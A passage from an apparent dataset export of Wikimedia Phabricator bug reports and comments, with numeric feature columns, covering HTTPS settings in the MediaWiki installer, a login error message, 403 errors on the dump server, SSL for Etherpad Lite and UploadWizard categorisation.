When installing through HTTPS, LocalSettings.php $wgServer still has HTTP protocol thus no stylesheets are loaded.

--------------------------
**Version**: 1.20.x
**Severity**: minor
**See Also**:
URL"
224000,Install over HTTPS produces wgServer with HTTP protocol,"**karun.84** wrote:

In Mediawiki 1.23, it is already checking if it is http or https and then creating the localsettings.php file.",,,1390766587,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-eacnrvequd2z26psqszj,task_subcomment,,True,c2,3,False,,,21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,7.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.8620689655172415,0.8275862068965517,"**karun.84** wrote:

In Mediawiki 1.23, it is already checking if it is http or https and then creating the localsettings.php file."
223992,Install over HTTPS produces wgServer with HTTP protocol,We should probably just default to protocol-relative in the default install.,,,1358897710,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-eacnrvequd2z26psqszj,task_subcomment,,True,c2,1,True,,,-32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,0.9285714285714286,We should probably just default to protocol-relative in the default install.
45939,"HTML markup shown in ""Username taken in unified login"" message error","Screenshot of described error.

While working at ACC on the English Wikipedia, I came across an expected error. While the error was fine, the message itself needs to be fixed as the link is shown improperly. I have attached a screenshot and the text of said error is pasted here:

The requested username is already taken in the <a href=""http://meta.wikimedia.org/wiki/Help:Unified_login"">unified login system</a>. Please choose a different name.

--------------------------
**Version**: 1.21.x
**Severity**: normal

**Attached**: {F10231}",Medium,50.0,1358110980,1358428882.0,PHID-USER-sl2kxui7ez6tuziv25t4,False,,False,PHID-TASK-46ztr67mose5tge5kfkz,task_description,invalid,True,c2,1,False,False,True,-33,True,0.0,0.0,0.0,2.5,0.0,3.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,2.5,5.5,0.0,0.5,0.0,1.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,8.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,7.5,3.0,9.5,1.0,0.5,7.5,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,1.5,5.5,5.0,0.0,0.0,0.0,1.5,0.0,0.0,3.0,0.5,0.5,0.0,0.0,2.0,3.886093640810622,0.6911250873515025,"Screenshot of described error.

While working at ACC on the English Wikipedia, I came across an expected error. While the error was fine, the message itself needs to be fixed as the link is shown improperly. I have attached a screenshot and the text of said error is pasted here:

The requested username is already taken in the <a href=""URL login system</a>. Please choose a different name.

--------------------------
**Version**: 1.21.x
**Severity**: normal

**Attached**: {F10231}"
205198,"HTML markup shown in ""Username taken in unified login"" message error",I'll ask to delete [[MediaWiki:Centralauth-account-exists]].,,,1358428882,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-46ztr67mose5tge5kfkz,task_subcomment,,True,c2,1,True,,,-32,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.2941176470588234,0.8235294117647058,I'll ask to delete [[MediaWiki:Centralauth-account-exists]].
205192,"HTML markup shown in ""Username taken in unified login"" message error","**Valerie.m.juarez** wrote:

How did you get that error message? Did you try to create an account with a username that already exists? I tried to go to the English Wikipedia account creation page (http://en.wikipedia.org/w/index.php?title=Special:UserLogin&type=signup) and replicate the error, but it's not the same.

Please post the address of the page where you got this error, and steps to reproduce it. It would help a lot, thanks.",,,1358314124,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-46ztr67mose5tge5kfkz,task_subcomment,,True,c2,1,False,,,-32,True,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,7.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,4.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,18.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,10.0,0.0,11.0,2.0,4.0,12.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,8.0,7.0,2.0,2.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6626506024096384,0.6867469879518072,"**Valerie.m.juarez** wrote:

How did you get that error message? Did you try to create an account with a username that already exists? I tried to go to the English Wikipedia account creation page (URL and replicate the error, but it's not the same.

Please post the address of the page where you got this error, and steps to reproduce it. It would help a lot, thanks."
45623,Accessing the download pages creates random HTTP 403 errors,"**Author:** `mathias.schindler`

**Description:**
While accessing directories such as http://dumps.wikimedia.org/other/pagecounts-raw/2013/2013-01/ and others in the directory hierarchy, I am getting HTTP 403 errors.

Reloading the page usually helps.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1357257840,1370327668.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-lguhh2ubzininv4q3mnj,task_description,declined,True,c2,1,False,False,True,-34,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,17.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.9310344827586206,0.6379310344827587,"**Author:** CODE

**Description:**
While accessing directories such as URL and others in the directory hierarchy, I am getting HTTP 403 errors.

Reloading the page usually helps.

--------------------------
**Version**: unspecified
**Severity**: normal"
211501,Accessing the download pages creates random HTTP 403 errors,If you see this again please try using wget and/or curl with one request at a time and report if you still see 403 errors. Closing for now.,,,1370327668,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-lguhh2ubzininv4q3mnj,task_subcomment,,True,c2,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,3.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,3.7333333333333334,0.9,If you see this again please try using wget and/or curl with one request at a time and report if you still see 403 errors. Closing for now.
211495,Accessing the download pages creates random HTTP 403 errors,"**mathias.schindler** wrote:

I was using the Google Chrome browser and was accessing one page at a time. I can rule out other connections from the same IP adress. I cannot rule out my browser trying to pre-fetch pages that might result in more than one concurrenct connection.",,,1357314806,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lguhh2ubzininv4q3mnj,task_subcomment,,True,c2,1,False,,,-34,True,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,10.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,7.0,12.0,5.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,5.0,2.0,0.0,0.0,3.9322033898305087,0.7627118644067796,"**mathias.schindler** wrote:

I was using the Google Chrome browser and was accessing one page at a time. I can rule out other connections from the same IP adress. I cannot rule out my browser trying to pre-fetch pages that might result in more than one concurrenct connection."
211487,Accessing the download pages creates random HTTP 403 errors,"If you have more than two connections going at once from the same IP you will get denied; this is by configuration, because we have had issues with bandwidth hoggers in the past.  Might this be the situation?",,,1357283884,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-lguhh2ubzininv4q3mnj,task_subcomment,,True,c2,1,False,,,-34,True,0.0,0.0,0.0,0.0,0.0,7.0,5.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,7.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,7.0,5.0,0.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,7.0,19.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.9767441860465116,0.8837209302325582,"If you have more than two connections going at once from the same IP you will get denied; this is by configuration, because we have had issues with bandwidth hoggers in the past.  Might this be the situation?"
45404,Use SSL for Etherpad Lite instance,"Info: 

The develop branch (since 2012-11-24 https://github.com/ether/etherpad-lite/commit/fdf0b1a3844b2441852e472781a7bf41f8775b18 ) of Etherpad lite has been enabled to support (optionally, currently not by default) SSL i.e. to run EPL via https:// on native node.

The only required change:

* set up the ssl section in settings.json and let it point to a suited server.key and server.crt on your server

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1356421980,1376124434.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-ih7qckxwwjbbfkhlwbum,task_description,resolved,True,c2,1,False,False,True,-36,True,0.0,0.0,0.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,13.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,10.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,2.0,13.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,3.9431818181818183,0.7386363636363636,"Info: 

The develop branch (since 2012-11-24 URL ) of Etherpad lite has been enabled to support (optionally, currently not by default) SSL i.e. to run EPL via https:// on native node.

The only required change:

* set up the ssl section in settings.json and let it point to a suited server.key and server.crt on your server

--------------------------
**Version**: unspecified
**Severity**: enhancement"
199393,Use SSL for Etherpad Lite instance,"""Use SSL for the etherpad lite instance on Labs"" did not get fixed.
However epl.wikimedia.org is a sufficient solution. 
Rephrasing summary.",,,1376197933,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ih7qckxwwjbbfkhlwbum,task_subcomment,,True,c2,2,True,,,-3,True,0.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,18.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,7.0,18.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.321428571428571,0.8571428571428571,"""Use SSL for the etherpad lite instance on Labs"" did not get fixed.
However epl.wikimedia.org is a sufficient solution. 
Rephrasing summary."
199388,Use SSL for Etherpad Lite instance,"Hi, this SSL Etherpad works, so I think, this bug can be closed. As reporter of this bug I am closing it now,",,,1376124434,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-ih7qckxwwjbbfkhlwbum,task_subcomment,,True,c2,2,False,,,-3,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,11.0,7.0,7.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.107142857142857,0.75,"Hi, this SSL Etherpad works, so I think, this bug can be closed. As reporter of this bug I am closing it now,"
199383,Use SSL for Etherpad Lite instance,"(In reply to comment #5)
> (In reply to comment #4)
> > https://epl.wikimedia.org/p/test%20https
> 
> EPL/SSL works fine for me (Firefox 23.0 on Windows XP)
> Please publish server key fingerprint (md5, sha1) somewhere on MediaWiki,
> thanks / Wikinaut 09.08.2013 14:56 local time (20130809125617 UTC) so that
> users can check.

see my simply PHP scriptlet https://github.com/Wikinaut/MySimpleCertViewer for viewing cert data",,,1376053101,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-ih7qckxwwjbbfkhlwbum,task_subcomment,,True,c2,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,9.0,21.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.272727272727273,0.6363636363636364,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

see my simply PHP scriptlet URL for viewing cert data"
199379,Use SSL for Etherpad Lite instance,"(In reply to comment #4)
> https://epl.wikimedia.org/p/test%20https

EPL/SSL works fine for me (Firefox 23.0 on Windows XP)
Please publish server key fingerprint (md5, sha1) somewhere on MediaWiki, thanks / Wikinaut 09.08.2013 14:56 local time (20130809125617 UTC) so that users can check.",,,1376053011,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-ih7qckxwwjbbfkhlwbum,task_subcomment,,True,c2,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,7.0,0.0,2.0,12.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.789473684210526,0.8245614035087719,"(In reply to comment #4)
QUOTE

EPL/SSL works fine for me (Firefox 23.0 on Windows XP)
Please publish server key fingerprint (md5, sha1) somewhere on MediaWiki, thanks / Wikinaut 09.08.2013 14:56 local time (20130809125617 UTC) so that users can check."
199373,Use SSL for Etherpad Lite instance,https://epl.wikimedia.org/p/test%20https,,,1376047824,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ih7qckxwwjbbfkhlwbum,task_subcomment,,True,c2,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
199368,Use SSL for Etherpad Lite instance,"[update]

Native HTTPS support (No need for https on the reverse proxy) is now available in EPL branch master release 1.2.2 (since 2012-12-27)

See http://blog.etherpad.org/2012/12/27/etherelves-wish-you-a-merry-xmas-and-an-api-new-year-version-1-2-2-release/",,,1356724901,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-ih7qckxwwjbbfkhlwbum,task_subcomment,,True,c2,1,False,,,-35,True,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.4864864864864864,0.8918918918918919,"[update]

Native HTTPS support (No need for https on the reverse proxy) is now available in EPL branch master release 1.2.2 (since 2012-12-27)

See URL"
199363,Use SSL for Etherpad Lite instance,"Yes, EPL should replace etherpad in production.",,,1356583708,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-ih7qckxwwjbbfkhlwbum,task_subcomment,,True,c2,1,False,,,-35,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.555555555555555,1.0,"Yes, EPL should replace etherpad in production."
199356,Use SSL for Etherpad Lite instance,"This is all well and good, but since this is a labs instance, I hesitate to try deploying an SSL solution to it.

Let's see if we can't get EPL deployed to production, then we can actually do this right....especially since we'll be putting it behind a reverse proxy, I doubt we would have any trouble with SSL in any case.

Moving this to Wikimedia (I *think* there's an Etherpad component), and I'll add a few dependencies to this bug that are blocking it.",,,1356569024,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-ih7qckxwwjbbfkhlwbum,task_subcomment,,True,c2,1,False,,,-35,True,3.5,0.0,0.0,0.0,0.5,3.0,1.0,0.0,0.0,0.5,1.0,2.0,0.0,0.0,1.0,6.0,0.0,2.0,8.0,0.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,1.0,0.5,2.5,0.0,5.5,2.5,2.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.5,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,1.0,0.0,1.0,0.0,4.0,2.5,9.0,1.5,2.0,9.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,8.0,4.0,0.0,0.0,0.0,9.0,0.0,1.0,4.0,0.0,3.5,0.0,0.0,0.0,3.580914368650218,0.8189404934687954,"This is all well and good, but since this is a labs instance, I hesitate to try deploying an SSL solution to it.

Let's see if we can't get EPL deployed to production, then we can actually do this right....especially since we'll be putting it behind a reverse proxy, I doubt we would have any trouble with SSL in any case.

Moving this to Wikimedia (I *think* there's an Etherpad component), and I'll add a few dependencies to this bug that are blocking it."
44548,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"**Author:** `russavia.wikipedia`

**Description:**
Currently, all uploads to Commons using UploadWizard are categorised into:

http://commons.wikimedia.org/wiki/Category:Uploaded_with_UploadWizard

There are now some 2 million files in this category, which makes it almost impossible to browse due to the sheer number of files. It would be better if uploads were categorised by the month and year they were uploaded. e.g. ""Category:Uploaded with UploadWizard (November 2012)"" to make browsing of files easier.

Can we get UploadWizard amended so that this can occur in future. Current uploads can be re-categorised by one of our friendly Commons bot operators.

--------------------------
**Version**: master
**Severity**: enhancement
**URL**: http://commons.wikimedia.org/wiki/Category:Uploaded_with_UploadWizard",Medium,50.0,1354214940,1357176263.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-zmpckjf2yvjn264quvyj,task_description,declined,True,c2,1,False,False,True,-39,True,1.0,0.0,0.0,2.0,0.0,3.5,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.5,0.5,1.5,0.0,2.0,10.5,0.0,1.0,0.0,0.5,0.5,1.5,0.5,0.0,0.0,2.0,0.5,0.5,1.5,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.5,2.5,1.0,0.5,0.0,0.0,0.0,13.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,12.5,2.0,0.5,3.5,0.0,0.0,0.0,0.0,3.5,0.0,2.5,0.0,3.0,10.5,5.5,0.0,1.0,0.0,3.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,3.952054794520548,0.7191780821917808,"**Author:** CODE

**Description:**
Currently, all uploads to Commons using UploadWizard are categorised into:

URL

There are now some 2 million files in this category, which makes it almost impossible to browse due to the sheer number of files. It would be better if uploads were categorised by the month and year they were uploaded. e.g. ""Category:Uploaded with UploadWizard (November 2012)"" to make browsing of files easier.

Can we get UploadWizard amended so that this can occur in future. Current uploads can be re-categorised by one of our friendly Commons bot operators.

--------------------------
**Version**: master
**Severity**: enhancement
**URL**: URL"
199583,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"(In reply to comment #17)
> @Platonides: The file upload comment says ""User created page with
> UploadWizard"", although this isn't as easy to exploit for statistical
> queries.
>

hopefully we don't start using that for stats. Its questionable if its appropriate to have the img_comment be the same for all files uploaded with upload wizard (kind of defeats the point of having an img_comment field). Its not unimaginable that later versions of upload wizard could change that behaviour (and earlier versions of upload wizard didn't even have that behaviour) </offtopic rant>",,,1357212527,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-34,True,1.0,0.0,0.0,0.0,3.0,8.0,1.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,8.0,14.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,8.0,3.0,1.0,8.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,4.0,14.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,2.0,4.222222222222222,0.6555555555555556,"(In reply to comment #17)
QUOTE
QUOTE
QUOTE
QUOTE

hopefully we don't start using that for stats. Its questionable if its appropriate to have the img_comment be the same for all files uploaded with upload wizard (kind of defeats the point of having an img_comment field). Its not unimaginable that later versions of upload wizard could change that behaviour (and earlier versions of upload wizard didn't even have that behaviour) </offtopic rant>"
199575,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"@Platonides: The file upload comment says ""User created page with UploadWizard"", although this isn't as easy to exploit for statistical queries.

Looks like the opinion at the Commons discussion is split (as well as in the bug comments here). I'm going to go ahead and close this as WONTFIX. If stats.wikimedia.org stops relying on it or a consensus develops on Commons to delete it, feel free to reopen.",,,1357176263,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-34,True,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,1.0,1.0,6.0,2.0,0.0,0.0,0.0,1.0,0.0,7.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,12.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,18.0,6.0,0.0,2.0,0.0,4.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,4.121951219512195,0.7804878048780488,"SCREEN_NAME: The file upload comment says ""User created page with UploadWizard"", although this isn't as easy to exploit for statistical queries.

